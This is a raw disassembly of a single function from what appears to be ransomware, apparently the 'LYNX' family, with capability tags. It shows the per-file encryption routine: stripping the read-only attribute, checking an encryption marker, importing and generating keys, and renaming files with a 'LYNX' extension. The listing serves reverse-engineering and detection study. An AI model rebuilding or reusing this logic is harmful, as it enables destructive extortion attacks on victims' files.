Function at 0x4058c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x26c
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x268], eax
push ebx
push esi
mov ebx, ecx
push edi
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0xd4], 0
cmp esi, 0xffffffff
je 0x405f53
cmp byte [0x42a33a], 0
je 0x40594c
lea eax, [esp + 0xf0]
push eax
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0xe8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [esp + 0xd8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [esp + 0xdc], 0
mov edi, dword [esp + 0xd8]
jg 0x405981
jl 0x405973
cmp edi, 0x74
jae 0x405981
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x405a4d
push 0x74
lea eax, [esp + 0xfc]
push 0
push eax
call fcn.0040b3f0
mov eax, dword [esp + 0xe8]
add esp, 0xc
sub edi, 0x74
sbb eax, 0
push 0
push 0
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [esp + 0xd8]
push eax
push 0x74
lea eax, [esp + 0x104]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x426768
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea esi, [esp + 0x158]
mov ecx, 0x426768
sub edi, 4
jb 0x405a01
nop
mov edx, dword [esi]
cmp edx, dword [ecx]
jne 0x405a0a
add esi, 4
add ecx, 4
sub edi, 4
jae 0x4059f0
cmp edi, 0xfffffffc
je 0x405f53
mov al, byte [esi]
cmp al, byte [ecx]
jne 0x405a47
cmp edi, 0xfffffffd
je 0x405f53
mov al, byte [esi + 1]
cmp al, byte [ecx + 1]
jne 0x405a47
cmp edi, 0xfffffffe
je 0x405f53
mov al, byte [esi + 2]
cmp al, byte [ecx + 2]
jne 0x405a47
cmp edi, 0xffffffff
je 0x405f53
mov al, byte [esi + 3]
cmp al, byte [ecx + 3]
je 0x405f53
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call fcn.004073d0
test al, al
jne 0x405aa4
cmp byte [0x42a338], al
je 0x405a76
mov ecx, ebx
call fcn.00406390
cmp al, 1
jne 0x405a76
mov ecx, ebx
call fcn.004073d0
test al, al
jne 0x405aa4
mov ecx, ebx
call fcn.004065b0
cmp al, 1
jne 0x405a8c
mov ecx, ebx
call fcn.004073d0
test al, al
jne 0x405aa4
cmp byte [0x42a33c], 0
je 0x405f6a
push ebx
push str.____File_isnt_writable:__s_n
jmp 0x405f62
push 0
push 0x40000080
push 3
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0xd4], esi
cmp esi, 0xffffffff
je 0x405f6a
lea eax, [esp + 0xd8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0xd8]
or eax, dword [esp + 0xdc]
jne 0x405b06
push esi
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x188
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push 0x188
push 0
push eax
mov dword [esp + 0x1c], eax
call fcn.0040b3f0
add esp, 0xc
lea eax, [esp + 0x58]
push 0x74
push 0
push eax
call fcn.0040b3f0
add esp, 0xc
lea eax, [esp + 0x1c]
push 0x3c
push 0
push eax
call fcn.0040b3f0
add esp, 0xc
mov byte [esp + 0x1c], 9
lea eax, [esp + 0xd0]
mov dword [esp + 0x35], 0
xorps xmm0, xmm0
mov word [esp + 0x39], 0
lea ecx, [esp + 0xc]
movq qword [esp + 0x2d], xmm0
push eax
push str.IZ21qD6225fse_NNueMGCHpiunV3fneWLPuC6JyDmQ
movups xmmword [esp + 0x25], xmm0
mov byte [esp + 0x43], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0xd8], 0
call fcn.00401370
mov dword [esp + 0x3c], eax
test eax, eax
jne 0x405c0e
cmp byte [0x42a33c], al
je 0x405f6a
push eax
push 0x80
lea eax, [esp + 0x178]
push eax
push 0x409
push dword [esp + 0x1c]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x170]
push eax
push str.____Error_while_importing_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x1c]
call fcn.00407500
test al, al
jne 0x405c76
cmp byte [0x42a33c], al
je 0x405f6a
push 0
push 0x80
lea eax, [esp + 0x178]
push eax
push 0x409
push dword [esp + 0x50]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x170]
push eax
push str.____Error_while_generating_file_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
push 0x10
push 0
call esi
push eax
call edi
push 0x10
push 0
mov dword [esp + 0x14], eax
call esi
push eax
call edi
mov ecx, eax
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x44]
push 2
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
movups xmm0, xmmword [eax]
mov dword [esp + 0xd8], ecx
movups xmmword [esp + 0x60], xmm0
movups xmm0, xmmword [eax + 0x10]
mov eax, dword [esp + 0x5c]
movups xmmword [esp + 0x70], xmm0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x80], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [esp + 0x90], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [esp + 0xa0], xmm0
movups xmm0, xmmword [eax + 0x30]
mov eax, dword [esp + 0x14]
movups xmmword [esp + 0xb0], xmm0
movups xmm0, xmmword [edx]
movups xmmword [eax], xmm0
movups xmm0, xmmword [edx + 0x10]
movups xmmword [ecx], xmm0
call ebx
push str.LYNX
lea esi, [eax + 1]
call ebx
xor ecx, ecx
add eax, esi
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410c44
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 8
mov esi, eax
mov dword [esp + 0x18], esi
push dword [esp + 0x14]
push esi
call edi
push 0x4255b8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push str.LYNX
push dword [esp + 0x1c]
call esi
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0x38]
call section..text
mov eax, dword [esp + 0xd0]
push 0x426768
movups xmm0, xmmword [eax]
lea eax, [esp + 0xbc]
push eax
movups xmmword [esi + 0xe8], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x4298b0]
mov dword [esp + 0xc4], eax
mov eax, dword [esp + 0xd4]
mov dword [esp + 0xc0], 0xf4240
mov dword [esp + 0xc8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], eax
push dword [esp + 0xc0]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x30], eax
mov esi, dword [esp + 0x14]
push 2
push esi
call ebx
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410c44
mov ebx, dword [esp + 0x18]
add esp, 8
push esi
push eax
mov dword [ebx + 0x18], eax
call edi
mov eax, dword [esp + 0x18]
lea edi, [ebx + 0xf8]
mov dword [ebx + 0x1c], eax
lea esi, [esp + 0x58]
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov dword [ebx + 0x24], ecx
mov ecx, 0x1d
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x28], 0
mov dword [ebx + 0x2c], 0
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebx + 0x34], 2
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov dword [ebx + 0x16c], eax
mov dword [ebx + 0x170], ecx
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov dword [ebx + 0x174], eax
mov dword [ebx + 0x178], ecx
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov dword [ebx + 0x17c], eax
mov eax, dword [esp + 0x3c]
mov dword [ebx + 0x180], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x405eac
push eax
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0x48]
test eax, eax
je 0x405ebc
push eax
push 0
call ebx
push eax
call esi
push dword [esp + 0x44]
push 0
call ebx
push eax
call esi
push dword [esp + 0x54]
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x405ee2
push eax
push 0
call ebx
push eax
call esi
push dword [esp + 0x50]
push 0
call ebx
push eax
call esi
push dword [esp + 0xc]
push 0
call ebx
push eax
call esi
push dword [esp + 0xd0]
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0xd4]
push 0
push eax
push dword [0x42a334]
push eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [esp + 0x10]
push eax
push 0
push dword [esp + 0xc8]
push dword [eax + 0x30]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lock inc dword [0x42a330]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
cmp byte [0x42a33c], 0
je 0x405f6a
push ebx
push str.____File_is_already_encrypted:__s_n
call fcn.004012f0
add esp, 8
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret